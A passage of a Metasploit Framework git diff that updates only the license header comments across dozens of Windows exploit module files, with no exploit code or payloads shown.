https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb index 54cac9c10d..1492909538 100644 --- a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb +++ b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb index 83cca1f455..3d6a60220f 100644 --- a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb +++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb index e09d02601b..8a4f351107 100644 --- a/modules/exploits/windows/misc/avidphoneticindexer.rb +++ b/modules/exploits/windows/misc/avidphoneticindexer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb index 849d64789c..4fda35027d 100644 --- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb +++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bcaaa_bof.rb b/modules/exploits/windows/misc/bcaaa_bof.rb index 0aa3243ec1..b2519d10fa 100644 --- a/modules/exploits/windows/misc/bcaaa_bof.rb +++ b/modules/exploits/windows/misc/bcaaa_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb index c6f69cb6d3..7b1583ddb1 100644 --- a/modules/exploits/windows/misc/bigant_server.rb +++ b/modules/exploits/windows/misc/bigant_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb index 03fa08bdcf..27d4b1a106 100644 --- a/modules/exploits/windows/misc/bigant_server_250.rb +++ b/modules/exploits/windows/misc/bigant_server_250.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index de95f152e3..c3da589edd 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index 125bb465ff..592fad6a92 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb index 69e0b0a84f..833ac019d6 100644 --- a/modules/exploits/windows/misc/bigant_server_usv.rb +++ b/modules/exploits/windows/misc/bigant_server_usv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb index 330bfbf2c9..bcf6fdabd5 100644 --- a/modules/exploits/windows/misc/bomberclone_overflow.rb +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/bopup_comm.rb b/modules/exploits/windows/misc/bopup_comm.rb index d4b55b00c6..601b3c4030 100644 --- a/modules/exploits/windows/misc/bopup_comm.rb +++ b/modules/exploits/windows/misc/bopup_comm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb index fd2e1ff1a1..bb6f0ccd35 100644 --- a/modules/exploits/windows/misc/borland_interbase.rb +++ b/modules/exploits/windows/misc/borland_interbase.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/borland_starteam.rb b/modules/exploits/windows/misc/borland_starteam.rb index 36aa1a98f0..4f23e774b7 100644 --- a/modules/exploits/windows/misc/borland_starteam.rb +++ b/modules/exploits/windows/misc/borland_starteam.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index 2e99df814c..eb46ecb256 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index b24cd71ab2..a15393ddf8 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 5afa3c44ff..81fdea02af 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index 7a954012ef..f897674a24 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 241a85d4ba..eae86e6e62 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/doubletake.rb b/modules/exploits/windows/misc/doubletake.rb index 8aac7068ee..87d24c7dc5 100644 --- a/modules/exploits/windows/misc/doubletake.rb +++ b/modules/exploits/windows/misc/doubletake.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb index 530933969f..105d8fc805 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb index f3497cd625..2a418c56e7 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index 12b9631ac0..ccd5ff3b84 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb index 58f5c87291..84d95f81b5 100644 --- a/modules/exploits/windows/misc/eureka_mail_err.rb +++ b/modules/exploits/windows/misc/eureka_mail_err.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 2e163765de..136c50415f 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/fb_isc_attach_database.rb b/modules/exploits/windows/misc/fb_isc_attach_database.rb index 14ba5493e9..545928c6cb 100644 --- a/modules/exploits/windows/misc/fb_isc_attach_database.rb +++ b/modules/exploits/windows/misc/fb_isc_attach_database.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/fb_isc_create_database.rb b/modules/exploits/windows/misc/fb_isc_create_database.rb index ece28a791a..09cb07489b 100644 --- a/modules/exploits/windows/misc/fb_isc_create_database.rb +++ b/modules/exploits/windows/misc/fb_isc_create_database.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb index 045a830556..b9a8b0044a 100644 --- a/modules/exploits/windows/misc/fb_svc_attach.rb +++ b/modules/exploits/windows/misc/fb_svc_attach.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/gimp_script_fu.rb b/modules/exploits/windows/misc/gimp_script_fu.rb index 705c19df9b..b6ab651a50 100644 --- a/modules/exploits/windows/misc/gimp_script_fu.rb +++ b/modules/exploits/windows/misc/gimp_script_fu.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 5186340e59..7caa3b12f6 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index f49b5e990f..572ee035ce 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index 5318ba77e1..ee866e82e1 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb index 42fbdb5561..07f36d6793 100644 --- a/modules/exploits/windows/misc/hp_imc_uam.rb +++ b/modules/exploits/windows/misc/hp_imc_uam.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index e51c94a140..799d4ebfb6 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index 56bff40923..686841678c 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index 2b87370c4e..2a18b874df 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index 5d91e1864d..2840b9e996 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb index 554edb77f8..d4d43993a6 100644 --- a/modules/exploits/windows/misc/hp_omniinet_3.rb +++ b/modules/exploits/windows/misc/hp_omniinet_3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_omniinet_4.rb b/modules/exploits/windows/misc/hp_omniinet_4.rb index 0055f393d3..9d991880f6 100644 --- a/modules/exploits/windows/misc/hp_omniinet_4.rb +++ b/modules/exploits/windows/misc/hp_omniinet_4.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 09f9c69caf..c716bd916a 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 1603d7fad5..078a031d7b 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb index 5bfb27f42d..1044283d85 100644 --- a/modules/exploits/windows/misc/hp_ovtrace.rb +++ b/modules/exploits/windows/misc/hp_ovtrace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/ib_isc_attach_database.rb b/modules/exploits/windows/misc/ib_isc_attach_database.rb index c289e801ca..a607302d92 100644 --- a/modules/exploits/windows/misc/ib_isc_attach_database.rb +++ b/modules/exploits/windows/misc/ib_isc_attach_database.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_isc_create_database.rb b/modules/exploits/windows/misc/ib_isc_create_database.rb index f9b5ed733c..44d6b2b737 100644 --- a/modules/exploits/windows/misc/ib_isc_create_database.rb +++ b/modules/exploits/windows/misc/ib_isc_create_database.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb index 78583d6de6..06b5546915 100644 --- a/modules/exploits/windows/misc/ib_svc_attach.rb +++ b/modules/exploits/windows/misc/ib_svc_attach.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index d0c34ae870..acb753668f 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index ea063808c7..b75c721425 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb index 9c76c8288d..3b0d11939a 100644 --- a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb +++ b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb index 006d6e3540..bef570f7d3 100644 --- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb +++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index b2d1f445ee..531598d987 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/landesk_aolnsrvr.rb b/modules/exploits/windows/misc/landesk_aolnsrvr.rb index 5cbf30b0e5..e81ce1a869 100644 --- a/modules/exploits/windows/misc/landesk_aolnsrvr.rb +++ b/modules/exploits/windows/misc/landesk_aolnsrvr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb index 